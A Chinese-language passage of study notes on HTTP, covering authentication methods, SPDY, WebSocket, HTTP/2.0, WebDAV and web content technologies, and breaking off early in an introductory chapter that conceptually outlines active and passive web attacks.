其中一个原因是,因为与纯文本通信相比,加密通信会消耗更多的CPU及内存资源。如果每次通信都加密,会消耗相当多的资源,平摊到一台计算机上时,能够处理的请求数量必定也会随之减少。因此,如果是非敏感信息则使用HTTP通信,只有在包含个人信息等敏感数据时,才利用HTTPS加密通信。特别是每当那些访问量较多的Web网站在进行加密处理时,它们所承担着的负载不容小觑。在进行加密处理时,并非对所有内容都进行加密处理,而是仅在那些需要信息隐藏时才会加密,以节约资源。
除此之外,想要节约购买证书的开销也是原因之一。要进行HTTPS通信,证书是必不可少的。而使用的证书必须向认证机构(CA)购买。证书价格可能会根据不同的认证机构略有不同。通常,一年的授权需要数万日元(现在一万日元大约折合600人民币)。
那些购买证书并不合算的服务以及一些个人网站,可能只会选择采用HTTP的通信方式。
第八章 确认访问用户身份的认证
8.1 何为认证
计算机本身无法判断坐在显示器前的使用者的身份。进一步说,也无法确认网络的那头究竟有谁。可见,为了弄清究竟是谁在访问服务器,就得让对方的客户端自报家门。可是,就算正在访问服务器的对方声称自己是ueno,身份是否属实这点却也无从谈起。为确认ueno本人是否真的具有访问系统的权限,就需要核对“登录者本人才知道的信息”、“登录者本人才会有的信息”。
核对的信息通常是指以下这些。
- 密码:只有本人才会知道的字符串信息。
- 动态令牌:仅限本人持有的设备内显示的一次性密码。
- 数字证书:仅限本人(终端)持有的信息。
- 生物认证:指纹和虹膜等本人的生理信息。
- IC卡等:仅限本人持有的信息。
但是,即便对方是假冒的用户,只要能通过用户验证,那么计算机就会默认是出自本人的行为。因此,掌控机密信息的密码绝不能让他人得到,更不能轻易地就被破解出来。
HTTP/1.1使用的认证方式
- BASIC认证(基本认证)
- DIGEST认证(摘要认证)
- SSL客户端认证
- FormBase认证(基于表单认证)
此外,还有Windows统一认证(Keberos认证、NTLM认证),但本书不作讲解。
8.2 BASIC认证-基本认证
**BASIC认证(基本认证)**是从HTTP/1.0就定义的认证方式。即便是现在仍有一部分的网站会使用这种认证方式。是Web服务器与通信客户端之间进行的认证方式。
BASIC认证的认证步骤
- 步骤1: 当请求的资源需要BASIC认证时,服务器会随状态码401 AuthorizationRequired,返回带WWW-Authenticate首部字段的响应。该字段内包含认证的方式(BASIC)及Request-URI安全域字符串(realm)。
- 步骤2: 接收到状态码401的客户端为了通过BASIC认证,需要将用户ID及密码发送给服务器。发送的字符串内容是由用户ID和密码构成,两者中间以冒号(:)连接后,再经过Base64编码处理。(假设用户ID为guest,密码是guest,连接起来就会形成guest:guest这样的字符串。然后经过Base64编码,最后的结果即是Z3Vlc3Q6Z3Vlc3Q=。把这串字符串写入首部字段Authorization后,发送请求。当用户代理为浏览器时,用户仅需输入用户ID和密码即可,之后,浏览器会自动完成到Base64编码的转换工作。)
- 步骤3: 接收到包含首部字段Authorization请求的服务器,会对认证信息的正确性进行验证。如验证通过,则返回一条包含Request-URI资源的响应。
BASIC认证虽然采用Base64编码方式,但这不是加密处理。不需要任何附加信息即可对其解码。换言之,由于明文解码后就是用户ID和密码,在HTTP等非加密通信的线路上进行BASIC认证的过程中,如果被人窃听,被盗的可能性极高。
另外,除此之外想再进行一次BASIC认证时,一般的浏览器却无法实现认证注销操作,这也是问题之一。BASIC认证使用上不够便捷灵活,且达不到多数Web网站期望的安全性等级,因此它并不常用。
8.3 DIGEST认证-摘要认证
为弥补BASIC认证存在的弱点,从HTTP/1.1起就有了DIGEST认证。DIGEST认证同样使用质询/响应的方式(challenge/response),但不会像BASIC认证那样直接发送明文密码。
所谓质询响应方式是指,一开始一方会先发送认证要求给另一方,接着使用从另一方那接收到的质询码计算生成响应码。最后将响应码返回给对方进行认证的方式。
因为发送给对方的只是响应摘要及由质询码产生的计算结果,所以比起BASIC认证,密码泄露的可能性就降低了。
DIGEST认证的认证步骤
- 步骤1: 请求需认证的资源时,服务器会随着状态码401 Authorization Required,返回带WWW-Authenticate首部字段的响应。(该字段内包含质问响应方式认证所需的临时质询码(随机数,nonce)。首部字段WWW-Authenticate内必须包含realm和nonce这两个字段的信息。客户端就是依靠向服务器回送这两个值进行认证的。nonce是一种每次随返回的401响应生成的任意随机字符串。该字符串通常推荐由Base64编码的十六进制数的组成形式,但实际内容依赖服务器的具体实现。)
- 步骤2: 接收到401状态码的客户端,返回的响应中包含DIGEST认证必须的首部字段Authorization信息。(首部字段Authorization内必须包含username、realm、nonce、uri和response的字段信息。其中,realm和nonce就是之前从服务器接收到的响应中的字段。username是realm限定范围内可进行认证的用户名。uri(digest-uri)即Request-URI的值,但考虑到经代理转发后Request-URI的值可能被修改,因此事先会复制一份副本保存在uri内。response也可叫做Request-Digest,存放经过MD5运算后的密码字符串,形成响应码。响应中其他的实体请参见第6章的请求首部字段Authorization。另外,有关Request-Digest的计算规则较复杂,有兴趣的读者不妨深入学习一下RFC2617。)
- 步骤3: 接收到包含首部字段Authorization请求的服务器,会确认认证信息的正确性。认证通过后则返回包含Request-URI资源的响应。(并且这时会在首部字段Authentication-Info写入一些认证成功的相关信息。DIGEST认证提供了高于BASIC认证的安全等级,但是和HTTPS的客户端认证相比仍旧很弱。DIGEST认证提供防止密码被窃听的保护机制,但并不存在防止用户伪装的保护机制。DIGEST认证和BASIC认证一样,使用上不那么便捷灵活,且仍达不到多数Web网站对高度安全等级的追求标准。因此它的适用范围也有所受限。)
8.4 SSL客户端认证
从使用用户ID和密码的认证方式方面来讲,只要二者的内容正确,即可认证是本人的行为。但如果用户ID和密码被盗,就很有可能被第三者冒充。利用SSL客户端认证则可以避免该情况的发生。
8.4.1 SSL客户端认证的认证步骤
为达到SSL客户端认证的目的,需要事先将客户端证书分发给客户端,且客户端必须安装此证书。
- 步骤1: 接收到需要认证资源的请求,服务器会发送Certificate Request报文,要求客户端提供客户端证书。
- 步骤2: 用户选择将发送的客户端证书后,客户端会把客户端证书信息以Client Certificate报文方式发送给服务器。
- 步骤3: 服务器验证客户端证书验证通过后方可领取证书内客户端的公开密钥,然后开始HTTPS加密通信。
8.4.2 SSL客户端认证采用双因素认证
在多数情况下,SSL客户端认证不会仅依靠证书完成认证,一般会和基于表单认证(稍后讲解)组合形成一种双因素认证(Two-factorauthentication)来使用。所谓双因素认证就是指,认证过程中不仅需要密码这一个因素,还需要申请认证者提供其他持有信息,从而作为另一个因素,与其组合使用的认证方式。
换言之,第一个认证因素的SSL客户端证书用来认证客户端计算机,另一个认证因素的密码则用来确定这是用户本人的行为。通过双因素认证后,就可以确认是用户本人正在使用匹配正确的计算机访问服务器。
8.4.3 SSL客户端认证必要的费用
使用SSL客户端认证需要用到客户端证书。而客户端证书需要支付一定费用才能使用。
这里提到的费用是指,从认证机构购买客户端证书的费用,以及服务器运营者为保证自己搭建的认证机构安全运营所产生的费用。
每个认证机构颁发客户端证书的费用不尽相同,平摊到一张证书上,一年费用约几万至十几万日元。服务器运营者也可以自己搭建认证机构,但要维持安全运行就会产生相应的费用。
8.5 基于表单认证
基于表单的认证方法并不是在HTTP协议中定义的。客户端会向服务器上的Web应用程序发送登录信息(Credential),按登录信息的验证结果认证。根据Web应用程序的实际安装,提供的用户界面及认证方式也各不相同。
多数情况下,输入已事先登录的用户ID(通常是任意字符串或邮件地址)和密码等登录信息后,发送给Web应用程序,基于认证结果来决定认证是否成功。
8.5.1 认证多半为基于表单认证
由于使用上的便利性及安全性问题,HTTP协议标准提供的BASIC认证和DIGEST认证几乎不怎么使用。另外,SSL客户端认证虽然具有高度的安全等级,但因为导入及维持费用等问题,还尚未普及。
比如SSH和FTP协议,服务器与客户端之间的认证是合乎标准规范的,并且满足了最基本的功能需求上的安全使用级别,因此这些协议的认证可以拿来直接使用。但是对于Web网站的认证功能,能够满足其安全使用级别的标准规范并不存在,所以只好使用由Web应用程序各自实现基于表单的认证方式。
不具备共同标准规范的表单认证,在每个Web网站上都会有各不相同的实现方式。如果是全面考虑过安全性能而实现的表单认证,那么就能够具备高度的安全等级。但在表单认证的实现中存在问题的Web网站也是屡见不鲜。
8.5.2 Session管理及Cookie应用
基于表单认证的标准规范尚未有定论,一般会使用Cookie来管理Session(会话)。基于表单认证本身是通过服务器端的Web应用,将客户端发送过来的用户ID和密码与之前登录过的信息做匹配来进行认证的。
但鉴于HTTP是无状态协议,之前已认证成功的用户状态无法通过协议层面保存下来。即,无法实现状态管理,因此即使当该用户下一次继续访问,也无法区分他与其他的用户。于是我们会使用Cookie来管理Session,以弥补HTTP协议中不存在的状态管理功能。
- 步骤1: 客户端把用户ID和密码等登录信息放入报文的实体部分,通常是以POST方法把请求发送给服务器。而这时,会使用HTTPS通信来进行HTML表单画面的显示和用户输入数据的发送。
- 步骤2: 服务器会发放用以识别用户的Session ID。通过验证从客户端发送过来的登录信息进行身份认证,然后把用户的认证状态与Session ID绑定后记录在服务器端。(向客户端返回响应时,会在首部字段Set-Cookie内写入Session ID(如PHPSESSID=028a8c…)。你可以把Session ID想象成一种用以区分不同用户的等位号。然而,如果SessionID被第三方盗走,对方就可以伪装成你的身份进行恶意操作了。因此必须防止Session ID被盗,或被猜出。为了做到这点,Session ID应使用难以推测的字符串,且服务器端也需要进行有效期的管理,保证其安全性。另外,为减轻跨站脚本攻击(XSS)造成的损失,建议事先在Cookie内加上httponly属性。)
- 步骤3: 客户端接收到从服务器端发来的Session ID后,会将其作为Cookie保存在本地。下次向服务器发送请求时,浏览器会自动发送Cookie,所以Session ID也随之发送到服务器。服务器端可通过验证接收到的Session ID识别用户和其认证状态。
除了以上介绍的应用实例,还有应用其他不同方法的案例。另外,不仅基于表单认证的登录信息及认证过程都无标准化的方法,服务器端应如何保存用户提交的密码等登录信息等也没有标准化。
通常,一种安全的保存方法是,先利用给密码加盐(salt)(salt其实就是由服务器随机生成的一个字符串,但是要保证长度足够长,并且是真正的随机生成的。然后把他和密码字符串相连接(前后都可以)生成散列值。当两个用户使用统一个密码时,由于随机生成的salt值不同,对应的散列值也将是不同的。这样以来,很大程度上减少了密码特征,攻击者也很难利用自己手中的密码特征库进行破解)的方式增加额外信息,再使用散列(hash)函数计算出散列值后保存。但是我们也经常看到直接保存明文密码的做法,而这样的做法具有导致密码泄露的风险。
第九章 基于HTTP的功能追加协议
9.1 基于HTTP的协议
在建立HTTP标准规范时,制订者主要想把HTTP当作传输HTML文档的协议。随着时代的发展,Web的用途更具多样性,比如演化成在线购物网站、SNS(Social Networking Service,社交网络服务)、企业或组织内部的各种管理工具,等等。
而这些网站所追求的功能可通过Web应用和脚本程序实现。即使这些功能已经满足需求,在性能上却未必最优,这是因为HTTP协议上的限制以及自身性能有限。
HTTP功能上的不足可通过创建一套全新的协议来弥补。可是目前基于HTTP的Web浏览器的使用环境已遍布全球,因此无法完全抛弃HTTP。有一些新协议的规则是基于HTTP的,并在此基础上添加了新的功能。
9.2 消除HTTP瓶颈的SPDY
Google在2010年发布了SPDY(取自SPeeDY,发音同speedy),其开发目标旨在解决HTTP的性能瓶颈,缩短Web页面的加载时间(50%)。http://www.chromium.org/spdy/
9.2.1 HTTP的瓶颈
在Facebook和Twitter等SNS网站上,几乎能够实时观察到海量用户公开发布的内容,这也是一种乐趣。当几百、几千万的用户发布内容时,Web网站为了保存这些新增内容,在很短的时间内就会发生大量的内容更新。为了尽可能实时地显示这些更新的内容,服务器上一有内容更新,就需要直接把那些内容反馈到客户端的界面上。虽然看起来挺简单的,但HTTP却无法妥善地处理好这项任务。使用HTTP协议探知服务器上是否有内容更新,就必须频繁地从客户端到服务器端进行确认。如果服务器上没有内容更新,那么就会产生徒劳的通信。若想在现有Web实现所需的功能,以下这些HTTP标准就会成为瓶颈。
- 一条连接上只可发送一个请求。
- 请求只能从客户端开始。客户端不可以接收除响应以外的指令。
- 请求/响应首部未经压缩就发送。首部信息越多延迟越大。
- 发送冗长的首部。每次互相发送相同的首部造成的浪费较多。
- 可任意选择数据压缩格式。非强制压缩发送。
Ajax的解决方法
Ajax(Asynchronous JavaScript and XML,异步JavaScript与XML技术)是一种有效利用JavaScript和DOM(Document ObjectModel,文档对象模型)的操作,以达到局部Web页面替换加载的异步通信手段。和以前的同步通信相比,由于它只更新一部分页面,响应中传输的数据量会因此而减少,这一优点显而易见。
Ajax的核心技术是名为XMLHttpRequest的API,通过JavaScript脚本语言的调用就能和服务器进行HTTP通信。借由这种手段,就能从已加载完毕的Web页面上发起请求,只更新局部页面。
而利用Ajax实时地从服务器获取内容,有可能会导致大量请求产生。另外,Ajax仍未解决HTTP协议本身存在的问题。
Comet的解决方法
一旦服务器端有内容更新了,Comet不会让请求等待,而是直接给客户端返回响应。这是一种通过延迟应答,模拟实现服务器端向客户端推送(Server Push)的功能。
通常,服务器端接收到请求,在处理完毕后就会立即返回响应,但为了实现推送功能,Comet会先将响应置于挂起状态,当服务器端有内容更新时,再返回该响应。因此,服务器端一旦有更新,就可以立即反馈给客户端。
内容上虽然可以做到实时更新,但为了保留响应,一次连接的持续时间也变长了。期间,为了维持连接会消耗更多的资源。另外,Comet也仍未解决HTTP协议本身存在的问题。
SPDY的目标
陆续出现的Ajax和Comet等提高易用性的技术,一定程度上使HTTP得到了改善,但HTTP协议本身的限制也令人有些束手无策。为了进行根本性的改善,需要有一些协议层面上的改动。处于持续开发状态中的SPDY协议,正是为了在协议级别消除HTTP所遭遇的瓶颈。
9.2.2 SPDY的设计与功能
SPDY没有完全改写HTTP协议,而是在TCP/IP的应用层与传输层之间通过新加会话层的形式运作。同时,考虑到安全性问题,SPDY规定通信中使用SSL。
SPDY以会话层的形式加入,控制对数据的流动,但还是采用HTTP建立通信连接。因此,可照常使用HTTP的GET和POST等方法、Cookie以及HTTP报文等。
使用SPDY后,HTTP协议额外获得以下功能。
- 多路复用流:通过单一的TCP连接,可以无限制处理多个HTTP请求。所有请求的处理都在一条TCP连接上完成,因此TCP的处理效率得到提高。
- 赋予请求优先级:SPDY不仅可以无限制地并发处理请求,还可以给请求逐个分配优先级顺序。这样主要是为了在发送多个请求时,解决因带宽低而导致响应变慢的问题。
- 压缩HTTP首部:压缩HTTP请求和响应的首部。这样一来,通信产生的数据包数量和发送的字节数就更少了。
- 推送功能:支持服务器主动向客户端推送数据的功能。这样,服务器可直接发送数据,而不必等待客户端的请求。
- 服务器提示功能:服务器可以主动提示客户端请求所需的资源。由于在客户端发现资源之前就可以获知资源的存在,因此在资源已缓存等情况下,可以避免发送不必要的请求。
9.2.3 SPDY消除Web瓶颈了吗
希望使用SPDY时,Web的内容端不必做什么特别改动,而Web浏览器及Web服务器都要为对应SPDY做出一定程度上的改动。有好几家Web浏览器已经针对SPDY做出了相应的调整。另外,Web服务器也进行了实验性质的应用,但把该技术导入实际的Web网站却进展不佳。
因为SPDY基本上只是将单个域名(IP地址)的通信多路复用,所以当一个Web网站上使用多个域名下的资源,改善效果就会受到限制。
SPDY的确是一种可有效消除HTTP瓶颈的技术,但很多Web网站存在的问题并非仅仅是由HTTP瓶颈所导致。对Web本身的速度提升,还应该从其他可细致钻研的地方入手,比如改善Web内容的编写方式等。
9.3 使用浏览器进行全双工通信的WebSocket
利用Ajax和Comet技术进行通信可以提升Web的浏览速度。但问题在于通信若使用HTTP协议,就无法彻底解决瓶颈问题。WebSocket网络技术正是为解决这些问题而实现的一套新协议及API。
当时筹划将WebSocket作为HTML5标准的一部分,而现在它却逐渐变成了独立的协议标准。WebSocket通信协议在2011年12月11日,被RFC6455- The WebSocket Protocol定为标准。
9.3.1 WebSocket的设计与功能
WebSocket,即Web浏览器与Web服务器之间全双工通信标准。其中,WebSocket协议由IETF定为标准,WebSocket API由W3C定为标准。仍在开发中的WebSocket技术主要是为了解决Ajax和Comet里XMLHttpRequest附带的缺陷所引起的问题。
9.3.2 WebSocket协议
一旦Web服务器与客户端之间建立起WebSocket协议的通信连接,之后所有的通信都依靠这个专用协议进行。通信过程中可互相发送JSON、XML、HTML或图片等任意格式的数据。由于是建立在HTTP基础上的协议,因此连接的发起方仍是客户端,而一旦确立WebSocket通信连接,不论服务器还是客户端,任意一方都可直接向对方发送报文。下面我们列举一下WebSocket协议的主要特点。
- 推送功能:支持由服务器向客户端推送数据的推送功能。这样,服务器可直接发送数据,而不必等待客户端的请求。
- 减少通信量:只要建立起WebSocket连接,就希望一直保持连接状态。和HTTP相比,不但每次连接时的总开销减少,而且由于WebSocket的首部信息很小,通信量也相应减少了。
- 握手·请求:为了实现WebSocket通信,在HTTP连接建立之后,需要完成一次“握手”(Handshaking)的步骤。为了实现WebSocket通信,需要用到HTTP的Upgrade首部字段,告知服务器通信协议发生改变,以达到握手的目的。Sec-WebSocket-Key字段内记录着握手过程中必不可少的键值。Sec-WebSocket-Protocol字段内记录使用的子协议。子协议按WebSocket协议标准在连接分开使用时,定义那些连接的名称。
- 握手·响应:对于之前的请求,返回状态码101 SwitchingProtocols的响应。Sec-WebSocket-Accept的字段值是由握手请求中的Sec-WebSocket-Key的字段值生成的。成功握手确立WebSocket连接之后,通信时不再使用HTTP的数据帧,而采用WebSocket独立的数据帧。
- WebSocket API:JavaScript可调用“The WebSocket API”(http://www.w3.org/TR/websockets/,由W3C标准制定)内提供的WebSocket程序接口,以实现WebSocket协议下全双工通信。以下为调用WebSocket API,每50ms发送一次数据的实例。
9.4 期盼已久的HTTP/2.0
目前主流的HTTP/1.1标准,自1999年发布的RFC2616之后再未进行过改订。SPDY和WebSocket等技术纷纷出现,很难断言HTTP/1.1仍是适用于当下的Web的协议。
负责互联网技术标准的IETF(InternetEngineering Task Force,互联网工程任务组)创立httpbis(Hypertext Transfer ProtocolBis,http://datatracker.ietf.org/wg/httpbis/)工作组,其目标是推进下一代HTTP——HTTP/2.0在2014年11月实现标准化。
HTTP/2.0的特点
HTTP/2.0的目标是改善用户在使用Web时的速度体验。由于基本上都会先通过HTTP/1.1与TCP连接,现在我们以下面的这些协议为基础,探讨一下它们的实现方法。SPDY、HTTP Speed+Mobility、Network-Friendly HTTP Upgrade
HTTP Speed+Mobility由微软公司起草,是用于改善并提高移动端通信时的通信速度和性能的标准。它建立在Google公司提出的SPDY与WebSocket的基础之上。Network-Friendly HTTP Upgrade主要是在移动端通信时改善HTTP性能的标准。
HTTP/2.0的7项技术及讨论
HTTP/2.0围绕着主要的7项技术进行讨论,现阶段(2012年8月13日),大都倾向于采用以下协议的技术。但是,讨论仍在持续,所以不能排除会发生重大改变的可能性。
Web服务器管理文件的WebDAV
WebDAV(Web-based Distributed Authoringand Versioning,基于万维网的分布式创作和版本控制)是一个可对Web服务器上的内容直接进行文件复制、编辑等操作的分布式文件系统。它作为扩展HTTP/1.1的协议定义在RFC4918。
除了创建、删除文件等基本功能,它还具备文件创建者管理、文件编辑过程中禁止其他用户内容覆盖的加锁功能,以及对文件内容修改的版本控制功能。
使用HTTP/1.1的PUT方法和DELETE方法,就可以对Web服务器上的文件进行创建和删除操作。可是出于安全性及便捷性等考虑,一般不使用。
9.5.1 扩展HTTP/1.1的WebDAV
针对服务器上的资源,WebDAV新增加了一些概念,如下所示。
- 集合(Collection):是一种统一管理多个资源的概念。以集合为单位可进行各种操作。也可实现类似集合的集合这样的叠加。
- 资源(Resource):把文件或集合称为资源。
- 属性(Property):定义资源的属性。定义以“名称=值”的格式执行。
- 锁(Lock):把文件设置成无法编辑状态。多人同时编辑时,可防止在同一时间进行内容写入。
9.5.2 WebDAV内新增的方法及状态码
WebDAV为实现远程文件管理,向HTTP/1.1中追加了以下这些方法。PROPFIND:获取属性PROPPATCH:修改属性MKCOL:创建集合COPY:复制资源及属性MOVE:移动资源LOCK:资源加锁UNLOCK:资源解锁为配合扩展的方法,状态码也随之扩展。102 Processing:可正常处理请求,但目前是处理中状态207 Multi-Status:存在多种状态422 Unprocessible Entity:格式正确,内容有误423 Locked:资源已被加锁424 Failed Dependency:处理与某请求关联的请求失败,因此不再维持依赖关系507 Insufficient Storage:保存空间不足
为何HTTP协议受众如此广泛
本章讲解了几个与HTTP相关联的协议使用案例。为什么HTTP协议受众能够如此广泛呢?过去,新编写接入互联网的系统或软件时,还需要同时编写实现与必要功能对应的新协议。但最近,使用HTTP的系统和软件占了绝大多数。
这有着诸多原因,其中与企业或组织的防火墙设定有着莫大的关系。防火墙的基本功能就是禁止非指定的协议和端口号的数据包通过。因此如果使用新协议或端口号则必须修改防火墙设置。
互联网上,使用率最高的当属Web。不管是否具备访问FTP和SSH的权限,一般公司都会开放对Web的访问。Web是基于HTTP协议运作的,因此在构建Web服务器或访问Web站点时,需事先设置防火墙HTTP(80/tcp)和HTTPS(443/tcp)的权限。
许多公司或组织已设定权限将HTTP作为通信环境,因此无须再修改防火墙的设定。可见HTTP具有导入简单这一大优势。而这也是基于HTTP服务或内容不断增加的原因之一。还有一些其他原因,比如,作为HTTP客户端的浏览器已相当普遍,HTTP服务器的数量已颇具规模,HTTP本身就是优异的应用等。
第十章 构建Web内容的技术
10.1 HTML
10.1.1 Web页面几乎全由HTML构建
HTML(HyperText Markup Language,超文本标记语言)是为了发送Web上的超文本(Hypertext)而开发的标记语言。超文本是一种文档系统,可将文档中任意位置的信息与其他信息(文本或图片等)建立关联,即超链接文本。标记语言是指通过在文档的某部分穿插特别的字符串标签,用来修饰文档的语言。我们把出现在HTML文档内的这种特殊字符串叫做HTML标签(Tag)。
平时我们浏览的Web页面几乎全是使用HTML写成的。由HTML构成的文档经过浏览器的解析、渲染后,呈现出来的结果就是Web页面。
以下就是用HTML编写的文档的例子。而这份HTML文档内这种被< >包围着的文字就是标签。在标签的作用下,文档会改变样式,或插入图片、链接。
10.1.2 HTML的版本
Tim Berners-Lee提出HTTP概念的同时,还提出了HTML原型。1993年在伊利诺伊大学的NCSA(The National Center for SupercomputingApplications,国家超级计算机应用中心)发布了Mosaic浏览器(世界首个图形界面浏览器程序),而能够被Mosaic解析的HTML,统一标准后即作为HTML 1.0发布。目前的最新版本是HTML4.01标准,1999年12月W3C(World Wide Web Consortium)组织推荐使用这一版本。下一个版本,预计会在2014年左右正式推荐使用HTML5标准。
HTML5标准不仅解决了浏览器之间的兼容性问题,并且可把文本作为数据对待,更容易复用,动画等效果也变得更生动。时至今日,HTML仍存在较多悬而未决问题。有些浏览器未遵循HTML标准实现,或扩展自用标签等,这都反映了HTML的标准实际上尚未统一这一现状。
10.1.3 设计应用CSS
CSS(Cascading Style Sheets,层叠样式表)可以指定如何展现HTML内的各种元素,属于样式表标准之一。即使是相同的HTML文档,通过改变应用的CSS,用浏览器看到的页面外观也会随之改变。CSS的理念就是让文档的结构和设计分离,达到解耦的目的。
可在选择器(selector).logo的指定范围内,使用{}括起来的声明块中写明的padding: 20px等声明语句应用指定的样式。可通过指定HTML元素或特定的class、ID等作为选择器来限定样式的应用范围。
10.2 动态HTML
10.2.1 让Web页面动起来的动态HTML
所谓动态HTML(Dynamic HTML),是指使用客户端脚本语言将静态的HTML内容变成动态的技术的总称。鼠标单击点开的新闻、Google Maps等可滚动的地图就用到了动态HTML。
动态HTML技术是通过调用客户端脚本语言JavaScript,实现对HTML的Web页面的动态改造。利用DOM(Document Object Model,文档对象模型)可指定欲发生动态变化的HTML元素。
10.2.2 更易控制HTML的DOM
DOM是用以操作HTML文档和XML文档的API(Application Programming Interface,应用编程接口)。使用DOM可以将HTML内的元素当作对象操作,如取出元素内的字符串、改变那个CSS的属性等,使页面的设计发生改变。通过调用JavaScript等脚本语言对DOM的操作,可以以更为简单的方式控制HTML的改变。
10.3 Web应用
10.3.1 通过Web提供功能的Web应用
Web应用是指通过Web功能提供的应用程序。比如购物网站、网上银行、SNS、BBS、搜索引擎和e-learning等。互联网(Internet)或企业内网(Intranet)上遍布各式各样的Web应用。
原本应用HTTP协议的Web的机制就是对客户端发来的请求,返回事前准备好的内容。可随着Web越来越普及,仅靠这样的做法已不足以应对所有的需求,更需要引入由程序创建HTML内容的做法。
类似这种由程序创建的内容称为动态内容,而事先准备好的内容称为静态内容。Web应用则作用于动态内容之上。
10.3.2 与Web服务器及程序协作的CGI
CGI(Common Gateway Interface,通用网关接口)是指Web服务器在接收到客户端发送过来的请求后转发给程序的一组机制。在CGI的作用下,程序会对请求内容做出相应的动作,比如创建HTML等动态内容。使用CGI的程序叫做CGI程序,通常是用Perl、PHP、Ruby和C等编程语言编写而成。有关CGI更为翔实的内容请参考RFC3875“TheCommon Gateway Interface (CGI) Version1.1”
10.3.3 因Java而普及的Servlet
Servlet(Servlet=Server+Applet)是一种能在服务器上创建动态内容的程序。Servlet是用Java语言实现的一个接口,属于面向企业级Java(JavaEE,Java EnterpriseEdition)的一部分。
之前提及的CGI,由于每次接到请求,程序都要跟着启动一次。因此一旦访问量过大,Web服务器要承担相当大的负载。而Servlet运行在与Web服务器相同的进程中,因此受到的负载较小。Servlet的运行环境叫做Web容器或Servlet容器。Servlet作为解决CGI问题的对抗技术,随Java一起得到了普及。
随着CGI的普及,每次请求都要启动新CGI程序的CGI运行机制逐渐变成了性能瓶颈,所以之后Servlet和mod_perl等可直接在Web服务器上运行的程序才得以开发、普及。
10.4 数据发布的格式及语言
10.4.1 可扩展标记语言
**XML(eXtensible Markup Language,可扩展标记语言)**是一种可按应用目标进行扩展的通用标记语言。旨在通过使用XML,使互联网数据共享变得更容易。
XML和HTML都是从标准通用标记语言SGML(Standard Generalized Markup Language)简化而成。与HTML相比,它对数据的记录方式做了特殊处理。
用浏览器打开该文档时,就会显示排列的列表内容,但如果这些数据被其他程序读取会发生什么?某些程序虽然具备可通过识别布局特征取出文本的方法,但这份HTML的样式一旦改变,要读取数据内容也就变得相对困难了。可见,为了保持数据的正确读取,HTML不适合用来记录数据结构。
XML和HTML一样,使用标签构成树形结构,并且可自定义扩展标签。从XML文档中读取数据比起HTML更为简单。由于XML的结构基本上都是用标签分割而成的树形结构,因此通过语法分析器(Parser)的解析功能解析XML结构并取出数据元素,可更容易地对数据进行读取。更容易地复用数据使得XML在互联网上被广泛接受。比如,可用在2个不同的应用之间的交换数据格式化。
10.4.2 发布更新信息的RSS/Atom
RSS(简易信息聚合,也叫聚合内容)和Atom都是发布新闻或博客日志等更新信息文档的格式的总称。两者都用到了XML。
10.4.3 JavaScript衍生的轻量级易用JSON
**JSON(JavaScript Object Notation)**是一种以JavaScript(ECMAScript)的对象表示法为基础的轻量级数据标记语言。能够处理的数据类型有false/null/true/对象/数组/数字/字符串,这7种类型。
JSON让数据更轻更纯粹,并且JSON的字符串形式可被JavaScript轻易地读入。当初配合XML使用的Ajax技术也让JSON的应用变得更为广泛。另外,其他各种编程语言也提供丰富的库类,以达到轻便操作JSON的目的。有关JSON更为翔实的内容请参考RFC4627“Theapplication/json Media Type for JavaScriptObject Notation (JSON)”。
第11章 Web的攻击技术
11.1 针对Web的攻击技术
简单的HTTP协议本身并不存在安全性问题,因此协议本身几乎不会成为攻击的对象。应用HTTP协议的服务器和客户端,以及运行在服务器上的Web应用等资源才是攻击目标。
目前,来自互联网的攻击大多是冲着Web站点来的,它们大多把Web应用作为攻击目标。本章主要针对Web应用的攻击技术进行讲解。
11.1.1 HTTP不具备必要的安全功能
与最初的设计相比,现今的Web网站应用的HTTP协议的使用方式已发生了翻天覆地的变化。几乎现今所有的Web网站都会使用会话(session)管理、加密处理等安全性方面的功能,而HTTP协议内并不具备这些功能。
从整体上看,HTTP就是一个通用的单纯协议机制。因此它具备较多优势,但是在安全性方面则呈劣势。
就拿远程登录时会用到的SSH协议来说,SSH具备协议级别的认证及会话管理等功能,HTTP协议则没有。另外在架设SSH服务方面,任何人都可以轻易地创建安全等级高的服务,而HTTP即使已架设好服务器,但若想提供服务器基础上的Web应用,很多情况下都需要重新开发。
因此,开发者需要自行设计并开发认证及会话管理功能来满足Web应用的安全。而自行设计就意味着会出现各种形形色色的实现。结果,安全等级并不完备,可仍在运作的Web应用背后却隐藏着各种容易被攻击者滥用的安全漏洞的Bug。
11.1.2 在客户端即可篡改请求
在Web应用中,从浏览器那接收到的HTTP请求的全部内容,都可以在客户端自由地变更、篡改。所以Web应用可能会接收到与预期数据不相同的内容。
在HTTP请求报文内加载攻击代码,就能发起对Web应用的攻击。通过URL查询字段或表单、HTTP首部、Cookie等途径把攻击代码传入,若这时Web应用存在安全漏洞,那内部信息就会遭到窃取,或被攻击者拿到管理权限。
11.1.3 针对Web应用的攻击模式
对Web应用的攻击模式有以下两种,主动攻击和被动攻击。
以服务器为目标的主动攻击
主动攻击(active attack)是指攻击者通过直接访问Web应用,把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那些资源。主动攻击模式里具有代表性的攻击是SQL注入攻击和OS命令注入攻击。
以服务器为目标的被动攻击
**被动攻击(passive attack)是指利用圈套策略执行攻击代码的攻击模式。**在被动攻击过程中,攻击者不直接对目标Web应用访问发起攻击。
被动攻击通常的攻击模式如下所示。
- 步骤1: 攻击者诱使用户触发已设置好的陷阱,而陷阱会启动发送已嵌入攻击代码的HTTP请求。
- 步骤2: 当用户不知不觉中招之后,用户的浏览器或邮件客户端就会触发这个陷阱。
- 步骤3: 中招后的用户浏览器会把含有攻击代码的HTTP请求发送给作为攻击目标的Web应用,运行攻击代码。
- 步骤4: 执行完攻击代码,存在安全漏洞的Web应用会成为攻击者的跳板,可能导致用户所持的Cookie等个人信息被窃取,登录状态中的用户权限遭恶意滥用等后果。
被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造。
利用用户的身份攻击企业内部网络
利用被动攻击,可发起对原本从互联网上无法直接访问的企业内网等网络的攻击。只要用户踏入攻击者预先设好的陷阱,在用户能够访问到的网络范围内,即使是企业内网也同样会受到攻击。很多企业内网依然可以连接到互联网上,访问Web网站,或接收互联网发来的邮件。这样就可能给攻击者以可乘之机,诱导用户触发陷阱后对企业内网发动攻击。
11.2 因输出值转义不完全引发的安全漏洞
实施Web应用的安全对策可大致分为以下两部分。客户端的验证和**Web应用端(服务器端)**的验证(输入值验证、输出值转义)
